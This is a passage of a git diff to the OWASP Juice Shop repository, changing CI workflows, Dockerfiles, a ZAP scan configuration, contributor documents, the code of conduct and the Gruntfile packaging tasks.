V1.2.0 available + - name: "Set up Docker Buildx" + uses: docker/setup-buildx-action@94ab11c41e45d028884a99163086648e898eed25 #v1 + - name: "Login to DockerHub" + uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 #v1.10 + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + - name: "Get tag name" + id: tag + uses: dawidd6/action-get-tag@v1 + - name: "Set labels for ${{ github.ref }}" + run: | + echo "VCS_REF=`git rev-parse --short HEAD`" >> $GITHUB_ENV + echo "BUILD_DATE=`date -u +”%Y-%m-%dT%H:%M:%SZ”`" >> $GITHUB_ENV + - name: "Build and push for AMD processors" + uses: docker/build-push-action@a66e35b9cbcf4ad0ea91ffcaf7bbad63ad9e0229 #note: newer is available + with: + context: . + file: ./Dockerfile + platforms: linux/amd64,linux/arm64 + push: true + tags: | + bkimminich/juice-shop:${{ steps.tag.outputs.tag }} + build-args: | + VCS_REF=${{ env.VCS_REF }} + BUILD_DATE=${{ env.BUILD_DATE }} + - name: "Build and push for ARM processors" + uses: docker/build-push-action@a66e35b9cbcf4ad0ea91ffcaf7bbad63ad9e0229 #note: newer is available + with: + context: . + file: ./Dockerfile.arm + platforms: linux/arm/v7 + push: true + tags: | + bkimminich/juice-shop:${{ steps.tag.outputs.tag }}-arm + build-args: | + VCS_REF=${{ env.VCS_REF }} + BUILD_DATE=${{ env.BUILD_DATE }} + notify-slack: + if: always() + needs: + - package + - docker + runs-on: ubuntu-latest + steps: + - name: "Slack workflow notification" + uses: Gamesight/slack-workflow-status@master + with: + repo_token: ${{ secrets.GITHUB_TOKEN }} + slack_webhook_url: ${{ secrets.SLACK_WEBHOOK_URL }} diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml new file mode 100644 index 00000000000..e00a6ea4861 --- /dev/null +++ b/.github/workflows/stale.yml @@ -0,0 +1,22 @@ +name: 'Close stale issues and PR' +on: + schedule: + - cron: '30 1 * * *' + +jobs: + stale: + runs-on: ubuntu-latest + steps: + - uses: actions/stale@v4 + with: + stale-issue-message: > + This issue has been automatically marked as `stale` because it has not had + recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs. + stale-pr-message: > + This PR has been automatically marked as `stale` because it has not had + recent activity. :calendar: + close-issue-message: This issue was closed because it has been stalled for 7 days with no activity. + days-before-stale: 14 + days-before-close: 7 + days-before-pr-close: -1 + exempt-issue-labels: 'critical,technical debt' \ No newline at end of file diff --git a/.github/workflows/update-challenges-www.yml b/.github/workflows/update-challenges-www.yml new file mode 100644 index 00000000000..eb901c0ab1c --- /dev/null +++ b/.github/workflows/update-challenges-www.yml @@ -0,0 +1,34 @@ +name: "Update challenges on owasp-juice.shop" + +on: + push: + branches: [ master ] + paths: + - 'data/static/challenges.yml' + +jobs: + UpdateChallengesOnWebsite: + if: github.repository == 'juice-shop/juice-shop' + runs-on: ubuntu-latest + steps: + - name: Check out Git repository + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + with: + token: ${{ secrets.BOT_TOKEN }} + repository: OWASP/www-project-juice-shop + branch: master + - name: Update challenges.yml + run: | + cd _data/ + rm challenges.yml + wget https://raw.githubusercontent.com/juice-shop/juice-shop/master/data/static/challenges.yml + - uses: stefanzweifel/git-auto-commit-action@v4.0.0 + with: + commit_message: "Auto-update challenges.yml from ${{ github.sha }}" + branch: master + commit_options: '--signoff' + + # Optional commit user and author settings + commit_user_name: JuiceShopBot + commit_user_email: 61591748+JuiceShopBot@users.noreply.github.com + commit_author: JuiceShopBot <61591748+JuiceShopBot@users.noreply.github.com> diff --git a/.github/workflows/update-news-www.yml b/.github/workflows/update-news-www.yml new file mode 100644 index 00000000000..37741cdfc14 --- /dev/null +++ b/.github/workflows/update-news-www.yml @@ -0,0 +1,29 @@ +name: "Update news on owasp-juice.shop" + +on: + release: + types: [ published ] + +jobs: + UpdateNewsOnWebsite: + runs-on: ubuntu-latest + steps: + - name: Check out Git repository + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + with: + token: ${{ secrets.BOT_TOKEN }} + repository: OWASP/www-project-juice-shop + branch: master + - name: Update tab_news.md + run: | + sed -i 's//\n* ${{ github.event.release.published_at }}: juice-shop [`${{ github.event.release.tag_name }}`](https:\/\/github.com\/juice-shop\/juice-shop\/releases\/tag\/${{ github.event.release.tag_name }})/' tab_news.md + - uses: stefanzweifel/git-auto-commit-action@v4.0.0 + with: + commit_message: "Add juice-shop ${{ github.event.release.tag_name }} release notes to tab_news.md" + branch: master + commit_options: '--signoff' + + # Optional commit user and author settings + commit_user_name: JuiceShopBot + commit_user_email: 61591748+JuiceShopBot@users.noreply.github.com + commit_author: JuiceShopBot <61591748+JuiceShopBot@users.noreply.github.com> diff --git a/.github/workflows/zap_scan.yml b/.github/workflows/zap_scan.yml new file mode 100644 index 00000000000..a9c122c47c4 --- /dev/null +++ b/.github/workflows/zap_scan.yml @@ -0,0 +1,22 @@ +name: "ZAP Baseline Scan" + +on: + schedule: + - cron: '0 18 * * 6' + +jobs: + zap_scan: + runs-on: ubuntu-latest + name: Scan Juice Shop preview instance on Heroku + steps: + - name: Check out Git repository + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + with: + ref: develop + - name: ZAP Scan + uses: zaproxy/action-baseline@v0.3.0 + with: + token: ${{ secrets.GITHUB_TOKEN }} + target: 'https://preview.owasp-juice.shop' + rules_file_name: '.zap/rules.tsv' + cmd_options: '-a -j' diff --git a/.gitignore b/.gitignore index 860344c2fdf..d633d59fa3b 100644 --- a/.gitignore +++ b/.gitignore @@ -7,18 +7,29 @@ app/ uploads/complaints/*.* !uploads/complaints/.gitkeep ftp/legal.md +package-lock.json +i18n/*.json +i18n/*.invalid +!frontend/src/assets/i18n/*.json +!data/static/i18n/*.json +data/chatbot/*.* +!data/chatbot/.gitkeep +/data/juiceshop.sqlite-journal # Build .nyc_output/ .sass-cache/ build/ +cache/ dist/ logs/ vagrant/.vagrant/ *.orig *.out *.log -package-lock.json +JSON +JSON.map +frontend/src/**/*.js # IDEs .idea/ @@ -35,13 +46,16 @@ assets/ # Custom configuration files config/*.yml +!config/addo.yml !config/bodgeit.yml !config/ctf.yml !config/fbctf.yml !config/default.yml -!config/sickshop.yml !config/juicebox.yml !config/quiet.yml !config/test.yml !config/7ms.yml !config/mozilla.yml +!config/unsafe.yml +!config/tutorial.yml +!config/oss.yml diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml index 6eb45f42a3a..7b5f3c01b0a 100644 --- a/.gitlab-ci.yml +++ b/.gitlab-ci.yml @@ -1,16 +1,7 @@ -dependency_scanning: - image: docker:stable - variables: - DOCKER_DRIVER: overlay2 - allow_failure: true - services: - - docker:stable-dind - script: - - export SP_VERSION=$(echo "$CI_SERVER_VERSION" | sed 's/^\([0-9]*\)\.\([0-9]*\).*/\1-\2-stable/') - - docker run - --env DEP_SCAN_DISABLE_REMOTE_CHECKS="${DEP_SCAN_DISABLE_REMOTE_CHECKS:-false}" - --volume "$PWD:/code" - --volume /var/run/docker.sock:/var/run/docker.sock - "registry.gitlab.com/gitlab-org/security-products/dependency-scanning:$SP_VERSION" /code - artifacts: - paths: [gl-dependency-scanning-report.json] \ No newline at end of file +include: + - template: Auto-DevOps.gitlab-ci.yml + +variables: + SAST_EXCLUDED_PATHS: "frontend/src/assets/private/**" + TEST_DISABLED: "true" + DAST_DISABLED: "true" diff --git a/.gitlab/auto-deploy-values.yaml b/.gitlab/auto-deploy-values.yaml new file mode 100644 index 00000000000..ad0a965f83d --- /dev/null +++ b/.gitlab/auto-deploy-values.yaml @@ -0,0 +1,3 @@ +service: + internalPort: 3000 + externalPort: 3000 \ No newline at end of file diff --git a/.gitpod.yml b/.gitpod.yml new file mode 100644 index 00000000000..45443b40715 --- /dev/null +++ b/.gitpod.yml @@ -0,0 +1,9 @@ +tasks: + - init: npm install + command: npm start + +ports: + - name: OWASP Juice Shop + description: The Juice Shop web server + port: 3000 + onOpen: open-preview diff --git a/.imgbotconfig b/.imgbotconfig new file mode 100644 index 00000000000..91a2f4fe002 --- /dev/null +++ b/.imgbotconfig @@ -0,0 +1,7 @@ +{ + "ignoredFiles": [ + "frontend/src/assets/public/images/carousel/5.png", + "frontend/src/assets/public/images/products/3d_keychain.jpg", + "frontend/src/assets/public/images/uploads/favorite-hiking-place.png" + ] +} diff --git a/.mailmap b/.mailmap new file mode 100644 index 00000000000..a76aace3d3d --- /dev/null +++ b/.mailmap @@ -0,0 +1,30 @@ +Aashish683 Aashish Singh <30633088+Aashish683@users.noreply.github.com> +Alejandro Saenz Alejandro Saenz +Björn Kimminich Bjoern Kimminich +Björn Kimminich Bjoern Kimminich +Björn Kimminich Björn Kimminich +Björn Kimminich Björn Kimminich +Björn Kimminich bjoern.kimminich +Björn Kimminich Björn Kimminich +CaptainFreak CaptainFreak +Jannik Hollenbach J12934 <13718901+J12934@users.noreply.github.com> +Jannik Hollenbach Jannik Hollenbach <13718901+J12934@users.noreply.github.com> +Jannik Hollenbach Jannik Hollenbach +Jannik Hollenbach Jannik Hollenbach +Jannik Hollenbach Jannik Hollenbach +JamesCullum <5477111+JamesCullum@users.noreply.github.com> JamesCullum +MarcRler Marc Rüttler +MarcRler MarcRler +Nat McHugh Nathaniel McHugh +Simon Basset Simon Basset +Supratik Das Supratik Das <30755453+supra08@users.noreply.github.com> +Timo Pagel Timo Pagel +Timo Pagel Timo Pagel +Timo Pagel tpagel +Timo Pagel wurstbrot +Viktor Lindström ViktorLindstrm +aaryan10 Aaryan Budhiraja <31697449+aaryan01@users.noreply.github.com> +agrawalarpit14 Arpit Agrawal <35000671+agrawalarpit14@users.noreply.github.com> +greenkeeper[bot] greenkeeper[bot] <23040076+greenkeeper[bot]@users.noreply.github.com> +omerlh Omer Levi Hevroni +Scar26 Mohit Sharma <41830515+Scar26@users.noreply.github.com> diff --git a/.npmrc b/.npmrc new file mode 100644 index 00000000000..43c97e719a5 --- /dev/null +++ b/.npmrc @@ -0,0 +1 @@ +package-lock=false diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index f57746421c1..00000000000 --- a/.travis.yml +++ /dev/null @@ -1,65 +0,0 @@ -language: node_js -node_js: - - 10 - - 8 - - 9 - - 11 -branches: - except: - - gh-pages - - l10n_develop -addons: - chrome: stable - code_climate: - repo_token: - secure: NC3ew4c92DO4SAdbJvaZkaRnEZaZcAr9NcxOeraqAKHRXY3COnerWGR8+kIE9KiadcRdatmu0sSjWldDcAZfmMwOraMI9CDkqdPSjtjciCVEFdGi+OPOvMY/gOJU6XeM7lsO5MvYD7mqChl2gR6s7IO/klPahf53c97PPDo3C90= -before_install: -- rm -rf node_modules -- rm -rf frontend/node_modules -script: -- npm test -- node_version=$(node -v); if [ ${node_version:1:2} = 10 ]; then npm run frisby; else echo "Skipping Frisby API tests on $node_version"; fi -- node_version=$(node -v); if [ ${node_version:1:2} = 10 ]; then NODE_ENV=ctf npm run protractor; else echo "Skipping Protractor e2e tests on $node_version"; fi -after_success: -- "./node_modules/.bin/lcov-result-merger 'build/reports/coverage/**/lcov.info' 'build/reports/coverage/lcov_merged.info'" -- node_version=$(node -v); if [ ${node_version:1:2} = 10 ]; then ./node_modules/.bin/codeclimate-test-reporter < ./build/reports/coverage/lcov_merged.info; else echo "Skipping Codeclimate analysis on $node_version"; fi -notifications: - webhooks: - urls: - - secure: QZ3/2h7hThg527PX1z7kTTRGL5jEbTTHRbetYHt8Gzgdhvtruq4cjxMQZdUcmxKlncAhoB976iFl/Ja9EpExgrXnt/Tj0Aft6JDc7g8y0kuD/SiQpFT7d46R7vOTJeFHyMzfQN9M/h81DXrG+VO5OPGR/QYNa39kMzkTc86tt1E= - on_success: always - on_failure: always - on_start: never - slack: - rooms: - secure: jis/Fcasy+4QCqg6SZnf1XxXTNFrQENutYCN4QuMUQbfiD6QsLxTQS5o0MZ8e9EYTdptUXmjjgkaEulxO5fIUtmDcOrKcPxToDMjyCZEglfEf9CzRVRap7LnZwoCZ5yet/0E68qt4QhfTgfwYc9QIfSZo45rdyNS6BXI2vomGqE= - on_success: change - on_failure: change - on_start: never - on_pull_requests: false -before_deploy: -- rm -rf node_modules -- npm install --production -- npm run package -deploy: -- provider: heroku - api_key: - secure: faVT3Ne/O7lVo0+pTm6RcXss0ivvSoODaxMkiVwdpk/51/EsRd4+/Gjmp3RGPmW5H5luOephsI8uFMMhgKiu5i3NV58ZSx29Z0aby+bfIhesZGZqJQvxeW8B0J8vlQFnEHP6xc6SAlXSdNjNpDeBaV7WSFSGKGp4Nh5QyO2ySLI= - app: - master: juice-shop - develop: juice-shop-staging - on: - repo: bkimminich/juice-shop - node: 10 -- provider: releases - overwrite: true - api_key: - secure: fHybcH65ZdS5ITVKH2tIVBITVSiRQJ1AuWqLP16gyAz5pdmWbLM5gA/74zCozanRmuB+7pGFbhDNm075JWoEDVrWSFDLnNiXvfgUYa4oVEiWZlLvOfSARaU3AQPlVvFVhIbG9SA5IEwTtNFbyHjqLjGn/DSBpiIDqqxhF57vw7Q= - file: dist/* - skip_cleanup: true - file_glob: true - draft: true - tag_name: "$TRAVIS_TAG" - on: - repo: bkimminich/juice-shop - tags: true diff --git a/.zap/rules.tsv b/.zap/rules.tsv new file mode 100644 index 00000000000..1007ceaf7e3 --- /dev/null +++ b/.zap/rules.tsv @@ -0,0 +1,15 @@ +10109 IGNORE (Modern Web Application) +10035 IGNORE (Strict-Transport-Security Header Not Set) +10098 IGNORE (Cross-Domain Misconfiguration) +10017 IGNORE (Cross-Domain JavaScript Source File Inclusion) +10096 IGNORE (Timestamp Disclosure - Unix) +10015 IGNORE (Incomplete or No Cache-control and Pragma HTTP Header Set) +10038 IGNORE (Content Security Policy (CSP) Header Not Set) +10099 IGNORE (Source Code Disclosure - Java) +10027 IGNORE (Information Disclosure - Suspicious Comments) +10094 IGNORE (Base64 Disclosure) +10063 IGNORE (Feature Policy Header Not Set) +10049 IGNORE (Storable but Non-Cacheable Content) +10049 IGNORE (Non-Storable Content) +10110 IGNORE (Dangerous JS Functions) +90004 IGNORE (Insufficient Site Isolation Against Spectre Vulnerability) diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md index ee43b1601ac..1f8830354b0 100644 --- a/CODE_OF_CONDUCT.md +++ b/CODE_OF_CONDUCT.md @@ -2,81 +2,111 @@ ## Our Pledge -In the interest of fostering an open and welcoming environment, we as -contributors and maintainers pledge to making participation in our -project and our community a harassment-free experience for everyone, -regardless of age, body size, disability, ethnicity, sex -characteristics, gender identity and expression, level of experience, -education, socio-economic status, nationality, personal appearance, -race, religion, or sexual identity and orientation. +We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for +everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity +and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, caste, +color, religion, or sexual identity and orientation. + +We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community. ## Our Standards -Examples of behavior that contributes to creating a positive environment -include: +Examples of behavior that contributes to a positive environment for our community include: -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members +* Demonstrating empathy and kindness toward other people +* Being respectful of differing opinions, viewpoints, and experiences +* Giving and gracefully accepting constructive feedback +* Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience +* Focusing on what is best not just for us as individuals, but for the overall community -Examples of unacceptable behavior by participants include: +Examples of unacceptable behavior include: -* The use of sexualized language or imagery and unwelcome sexual - attention or advances -* Trolling, insulting/derogatory comments, and personal or political - attacks +* The use of sexualized language or imagery, and sexual attention or advances of any kind +* Trolling, insulting or derogatory comments, and personal or political attacks * Public or private harassment -* Publishing others' private information, such as a physical or - electronic address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a - professional setting +* Publishing others' private information, such as a physical or email address, without their explicit permission +* Other conduct which could reasonably be considered inappropriate in a professional setting -## Our Responsibilities +## Enforcement Responsibilities -Project maintainers are responsible for clarifying the standards of -acceptable behavior and are expected to take appropriate and fair -corrective action in response to any instances of unacceptable behavior. +Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take +appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, +or harmful. -Project maintainers have the right and responsibility to remove, edit, -or reject comments, commits, code, wiki edits, issues, and other -contributions that are not aligned to this Code of Conduct, or to ban -temporarily or permanently any contributor for other behaviors that they -deem inappropriate, threatening, offensive, or harmful. +Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, +issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for +moderation decisions when appropriate. ## Scope -This Code of Conduct applies both within project spaces and in public -spaces when an individual is representing the project or its community. -Examples of representing a project or community include using an -official project e-mail address, posting via an official social media -account, or acting as an appointed representative at an online or -offline event. Representation of a project may be further defined and -clarified by project maintainers. +This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing +the community in public spaces. Examples of representing our community include using an official e-mail address, posting +via an official social media account, or acting as an appointed representative at an online or offline event. ## Enforcement -Instances of abusive, harassing, or otherwise unacceptable behavior may -be reported by contacting the project team at -. All complaints will be reviewed and -investigated and will result in a response that is deemed necessary and -appropriate to the circumstances. The project team is obligated to -maintain confidentiality with regard to the reporter of an incident. -Further details of specific enforcement policies may be posted -separately. +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible +for enforcement at +[bjoern.kimminich@owasp.org](mailto:bjoern.kimminich@owasp.org). All complaints will be reviewed and investigated +promptly and fairly. + +All community leaders are obligated to respect the privacy and security of the reporter of any incident. + +## Enforcement Guidelines + +Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem +in violation of this Code of Conduct: + +### 1. Correction + +**Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the +community. + +**Consequence**: A private, written warning from community leaders, providing clarity around the nature of the violation +and an explanation of why the behavior was inappropriate. A public apology may be requested. + +### 2. Warning + +**Community Impact**: A violation through a single incident or series of actions. + +**Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including +unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding +interactions in community spaces as well as external channels like social media. Violating these terms may lead to a +temporary or permanent ban. + +### 3. Temporary Ban -Project maintainers who do not follow or enforce the Code of Conduct in -good faith may face temporary or permanent repercussions as determined -by other members of the project's leadership. +**Community Impact**: A serious violation of community standards, including sustained inappropriate behavior. + +**Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified +period of time. No public or private interaction with the people involved, including unsolicited interaction with those +enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban. + +### 4. Permanent Ban + +**Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate +behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals. + +**Consequence**: A permanent ban from any sort of public interaction within the community. ## Attribution -This Code of Conduct is adapted from the -[Contributor Covenant][homepage], version 1.4, available at -https://www.contributor-covenant.org/version/1/4/code-of-conduct.html +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.0, available at +[https://www.contributor-covenant.org/version/2/0/code_of_conduct.html][v2.0]. + +Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder][Mozilla CoC]. + +For answers to common questions about this code of conduct, see the FAQ +at [https://www.contributor-covenant.org/faq][FAQ]. Translations are available at +[https://www.contributor-covenant.org/translations][translations]. [homepage]: https://www.contributor-covenant.org -For answers to common questions about this code of conduct, see -https://www.contributor-covenant.org/faq +[v2.0]: https://www.contributor-covenant.org/version/2/0/code_of_conduct.html + +[Mozilla CoC]: https://github.com/mozilla/diversity + +[FAQ]: https://www.contributor-covenant.org/faq + +[translations]: https://www.contributor-covenant.org/translations + diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index a5c15b80642..91f0f4872f9 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,23 +1,31 @@ -# Contributing [![GitHub contributors](https://img.shields.io/github/contributors/bkimminich/juice-shop.svg)](https://github.com/bkimminich/juice-shop/graphs/contributors) [![Stories in Ready](https://badge.waffle.io/bkimminich/juice-shop.svg?label=ready&title=Ready)](http://waffle.io/bkimminich/juice-shop) [![JavaScript Style Guide](https://img.shields.io/badge/code%20style-standard-brightgreen.svg)](http://standardjs.com/) +# Contributing [![GitHub contributors](https://img.shields.io/github/contributors/juice-shop/juice-shop.svg)](https://github.com/juice-shop/juice-shop/graphs/contributors) [![JavaScript Style Guide](https://img.shields.io/badge/code%20style-standard-brightgreen.svg)](http://standardjs.com/) -[![Build Status](https://travis-ci.org/bkimminich/juice-shop.svg?branch=master)](https://travis-ci.org/bkimminich/juice-shop) -[![Build status](https://ci.appveyor.com/api/projects/status/903c6mnns4t7p6fa/branch/master?svg=true)](https://ci.appveyor.com/project/bkimminich/juice-shop/branch/master) -[![Test Coverage](https://api.codeclimate.com/v1/badges/2a7af720d39b08a09904/test_coverage)](https://codeclimate.com/github/bkimminich/juice-shop/test_coverage) -[![Maintainability](https://api.codeclimate.com/v1/badges/2a7af720d39b08a09904/maintainability)](https://codeclimate.com/github/bkimminich/juice-shop/maintainability) -[![NSP Status](https://nodesecurity.io/orgs/juice-shop/projects/0b5e6cab-3a21-45a1-85d0-fa076226ef48/badge)](https://nodesecurity.io/orgs/juice-shop/projects/0b5e6cab-3a21-45a1-85d0-fa076226ef48) -[![Bountysource Activity](https://img.shields.io/bountysource/team/juice-shop/activity.svg)](https://www.bountysource.com/teams/juice-shop) +![CI/CD Pipeline](https://github.com/juice-shop/juice-shop/workflows/CI/CD%20Pipeline/badge.svg?branch=develop) +[![Test Coverage](https://api.codeclimate.com/v1/badges/6206c8f3972bcc97a033/test_coverage)](https://codeclimate.com/github/juice-shop/juice-shop/test_coverage) +[![Maintainability](https://api.codeclimate.com/v1/badges/6206c8f3972bcc97a033/maintainability)](https://codeclimate.com/github/juice-shop/juice-shop/maintainability) +[![Cypress tests](https://img.shields.io/endpoint?url=https://dashboard.cypress.io/badge/detailed/3hrkhu/develop&style=flat&logo=cypress)](https://dashboard.cypress.io/projects/3hrkhu/runs) +![Gitlab pipeline status](https://img.shields.io/gitlab/pipeline/bkimminich/juice-shop.svg) +[![Crowdin](https://d322cqt584bo4o.cloudfront.net/owasp-juice-shop/localized.svg)](https://crowdin.com/project/owasp-juice-shop) +![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/juice-shop/juice-shop/help%20wanted.svg) +![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/juice-shop/juice-shop/good%20first%20issue.svg) + +## Code Contributions The minimum requirements for code contributions are: -1. The code must be compliant with the - [JS Standard Code Style rules](http://standardjs.com) -2. All new and changed code should have a corresponding unit and/or - integration test -3. New and changed challenges should have a corresponding e2e test -4. All unit, integration and e2e tests must pass locally +1. The code _must_ be compliant with the configured ESLint rules based on the [JS Standard Code Style](http://standardjs.com). +2. All new and changed code _should_ have a corresponding unit and/or integration test. +3. New and changed challenges _must_ have a corresponding e2e test. +4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) _must_ pass for the last commit within your PR. +5. All Git commits within a PR _must_ be [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) to indicate the contributor's agreement with the [Developer Certificate of Origin](https://developercertificate.org/). ### Contribution Guidelines You can find our detailed contribution guidelines over here: -https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part3/contribution.html + + +## I18N Contributions + +Learn all about our crowd-sourced [translation project on Crowdin](https://crowdin.com/project/owasp-juice-shop) +here: diff --git a/Dockerfile b/Dockerfile index a258396783a..fbb020cf08a 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,31 +1,34 @@ -FROM node:10 as installer +FROM node:16 as installer COPY . /juice-shop WORKDIR /juice-shop -RUN npm install --production --unsafe-perm +RUN npm i -g typescript ts-node +RUN npm install --omit=dev --unsafe-perm +RUN npm dedupe RUN rm -rf frontend/node_modules +RUN rm -rf frontend/.angular +RUN rm -rf frontend/src/assets +RUN mkdir logs && \ + chown -R 65532 logs && \ + chgrp -R 0 ftp/ frontend/dist/ logs/ data/ i18n/ && \ + chmod -R g=u ftp/ frontend/dist/ logs/ data/ i18n/ -FROM node:10-alpine +FROM gcr.io/distroless/nodejs:16 ARG BUILD_DATE ARG VCS_REF LABEL maintainer="Bjoern Kimminich " \ org.opencontainers.image.title="OWASP Juice Shop" \ - org.opencontainers.image.description="An intentionally insecure JavaScript Web Application" \ + org.opencontainers.image.description="Probably the most modern and sophisticated insecure web application" \ org.opencontainers.image.authors="Bjoern Kimminich " \ org.opencontainers.image.vendor="Open Web Application Security Project" \ - org.opencontainers.image.documentation="http://help.owasp-juice.shop" \ + org.opencontainers.image.documentation="https://help.owasp-juice.shop" \ org.opencontainers.image.licenses="MIT" \ - org.opencontainers.image.version="8.2.0" \ - org.opencontainers.image.url="http://owasp-juice.shop" \ - org.opencontainers.image.source="https://github.com/bkimminich/juice-shop" \ + org.opencontainers.image.version="14.3.1" \ + org.opencontainers.image.url="https://owasp-juice.shop" \ + org.opencontainers.image.source="https://github.com/juice-shop/juice-shop" \ org.opencontainers.image.revision=$VCS_REF \ org.opencontainers.image.created=$BUILD_DATE WORKDIR /juice-shop -COPY --from=installer /juice-shop . -RUN addgroup juicer && \ - adduser -D -G juicer juicer && \ - chown -R juicer /juice-shop && \ - chgrp -R 0 /juice-shop/ && \ - chmod -R g=u /juice-shop/ -USER juicer -EXPOSE 3000 -CMD ["npm", "start"] +COPY --from=installer --chown=nonroot /juice-shop . +USER 65532 +EXPOSE 3000 +CMD ["/juice-shop/build/app.js"] diff --git a/Dockerfile.arm b/Dockerfile.arm new file mode 100644 index 00000000000..df51ec2f31c --- /dev/null +++ b/Dockerfile.arm @@ -0,0 +1,34 @@ +FROM node:14 as installer +COPY . /juice-shop +WORKDIR /juice-shop +RUN npm i -g typescript ts-node +RUN npm install --production --unsafe-perm +RUN npm dedupe +RUN rm -rf frontend/node_modules + +FROM node:14-alpine +ARG BUILD_DATE +ARG VCS_REF +LABEL maintainer="Bjoern Kimminich " \ + org.opencontainers.image.title="OWASP Juice Shop" \ + org.opencontainers.image.description="Probably the most modern and sophisticated insecure web application" \ + org.opencontainers.image.authors="Bjoern Kimminich " \ + org.opencontainers.image.vendor="Open Web Application Security Project" \ + org.opencontainers.image.documentation="https://help.owasp-juice.shop" \ + org.opencontainers.image.licenses="MIT" \ + org.opencontainers.image.version="14.3.1" \ + org.opencontainers.image.url="https://owasp-juice.shop" \ + org.opencontainers.image.source="https://github.com/juice-shop/juice-shop" \ + org.opencontainers.image.revision=$VCS_REF \ + org.opencontainers.image.created=$BUILD_DATE +WORKDIR /juice-shop +RUN addgroup --system --gid 1001 juicer && \ + adduser juicer --system --uid 1001 --ingroup juicer +COPY --from=installer --chown=juicer /juice-shop . +RUN mkdir logs && \ + chown -R juicer logs && \ + chgrp -R 0 ftp/ frontend/dist/ logs/ data/ i18n/ && \ + chmod -R g=u ftp/ frontend/dist/ logs/ data/ i18n/ +USER 1001 +EXPOSE 3000 +CMD ["npm", "start"] diff --git a/Gruntfile.js b/Gruntfile.js index c04d07fab8d..1ed7b47993b 100644 --- a/Gruntfile.js +++ b/Gruntfile.js @@ -1,13 +1,29 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + 'use strict' module.exports = function (grunt) { - var node = grunt.option('node') || process.env.nodejs_version || process.env.TRAVIS_NODE_VERSION || '' - var platform = grunt.option('platform') || process.env.PLATFORM || process.env.TRAVIS ? 'x64' : '' - var os = grunt.option('os') || process.env.APPVEYOR ? 'windows' : process.env.TRAVIS ? 'linux' : '' + const os = grunt.option('os') || process.env.PCKG_OS_NAME || '' + const platform = grunt.option('platform') || process.env.PCKG_CPU_ARCH || '' + const node = grunt.option('node') || process.env.nodejs_version || process.env.PCKG_NODE_VERSION || '' grunt.initConfig({ pkg: grunt.file.readJSON('package.json'), + replace_json: { + manifest: { + src: 'package.json', + changes: { + 'engines.node': (node || '<%= pkg.engines.node %>'), + os: (os ? [os] : '<%= pkg.os %>'), + cpu: (platform ? [platform] : '<%= pkg.cpu %>') + } + } + }, + compress: { pckg: { options: { @@ -17,24 +33,30 @@ module.exports = function (grunt) { files: [ { src: [ + 'LICENSE', '*.md', - 'app.js', - 'server.js', 'package.json', 'ctf.key', 'swagger.yml', - 'frontend/dist/frontend/**', + 'server.ts', + 'config.schema.yml', + 'build/**', + '!build/reports/**', 'config/*.yml', - 'data/*.js', + 'data/*.ts', 'data/static/**', + 'data/chatbot/.gitkeep', 'encryptionkeys/**', + 'frontend/dist/frontend/**', + 'frontend/src/**/*.ts', 'ftp/**', + 'i18n/.gitkeep', 'lib/**', - 'models/*.js', - 'routes/*.js', + 'models/*.ts', 'node_modules/**', - 'views/**', - 'uploads/complaints/.gitkeep' + 'routes/*.ts', + 'uploads/complaints/.gitkeep', + 'views/**' ], dest: 'juice-shop_<%= pkg.version %>/' } @@ -43,6 +65,22 @@ module.exports = function (grunt) { } }) + grunt.registerTask('checksum', 'Create .md5 checksum files', function () { + const fs = require('fs') + const crypto = require('crypto') + fs.readdirSync('dist/').forEach(file => { + const buffer = fs.readFileSync('dist/' + file) + const md5 = crypto.createHash('md5') + md5.update(buffer) + const md5Hash = md5.digest('hex') + const md5FileName = 'dist/' + file + '.md5' + grunt.file.write(md5FileName, md5Hash) + grunt.log.write(`Checksum ${md5Hash} written to file 